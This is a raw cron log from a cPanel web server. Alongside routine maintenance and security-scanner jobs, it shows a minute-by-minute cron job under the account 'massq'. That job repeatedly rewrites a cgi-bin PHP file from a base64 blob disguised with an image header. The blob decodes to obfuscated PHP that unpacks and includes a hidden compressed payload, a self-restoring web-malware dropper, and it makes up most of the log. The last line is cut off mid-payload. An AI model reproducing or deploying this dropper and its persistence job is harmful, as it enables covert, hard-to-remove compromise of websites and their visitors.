Aug 31 08:50:01 server CROND[1195]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Aug 31 08:50:01 server CROND[1197]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 31 08:50:01 server CROND[1199]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 08:50:01 server CROND[1200]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Aug 31 08:50:01 server CROND[1201]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 08:50:01 server CROND[1196]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 08:51:01 server CROND[2155]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 08:51:01 server CROND[2156]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 08:51:01 server CROND[2157]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 08:52:01 server CROND[2767]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 08:52:01 server CROND[2768]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 08:52:01 server CROND[2769]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 08:53:01 server CROND[3142]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 08:53:01 server CROND[3143]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 08:53:01 server CROND[3144]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 08:54:01 server CROND[3510]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 08:54:01 server CROND[3511]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 08:54:01 server CROND[3513]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 08:55:01 server CROND[3898]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Aug 31 08:55:01 server CROND[3903]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 31 08:55:01 server CROND[3904]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Aug 31 08:55:01 server CROND[3902]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 08:55:01 server CROND[3899]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 31 08:55:01 server CROND[3921]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 08:55:01 server CROND[3922]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 08:56:01 server CROND[4741]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 08:56:01 server CROND[4742]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 08:56:01 server CROND[4743]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 08:57:01 server CROND[5204]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 08:57:01 server CROND[5205]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 08:57:01 server CROND[5207]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 08:57:01 server CROND[5206]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Aug 31 08:58:01 server CROND[5576]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 08:58:01 server CROND[5578]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 08:58:01 server CROND[5577]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 08:59:01 server CROND[5948]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 08:59:01 server CROND[5947]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 08:59:01 server CROND[5949]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 09:00:01 server CROND[6326]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Aug 31 09:00:01 server CROND[6331]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 31 09:00:01 server CROND[6334]: (root) CMD (   bash -c 'sleep $((RANDOM % 1800))' ;imunify-antivirus imunify-patch subscriptions refresh > /dev/null 2>&1)
Aug 31 09:00:01 server CROND[6329]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Aug 31 09:00:01 server CROND[6335]: (mailman) CMD (/usr/local/cpanel/scripts/restartsrv_mailman --status &> /dev/null && /usr/local/cpanel/3rdparty/bin/python2 -S /usr/local/cpanel/3rdparty/mailman/cron/disabled)
Aug 31 09:00:01 server CROND[6332]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Aug 31 09:00:01 server CROND[6333]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 31 09:00:01 server CROND[6330]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 09:00:01 server CROND[6336]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 09:00:01 server CROND[6337]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 09:01:01 server CROND[7171]: (root) CMD (run-parts /etc/cron.hourly)
Aug 31 09:01:01 server CROND[7173]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 09:01:01 server CROND[7174]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 09:01:01 server CROND[7176]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxC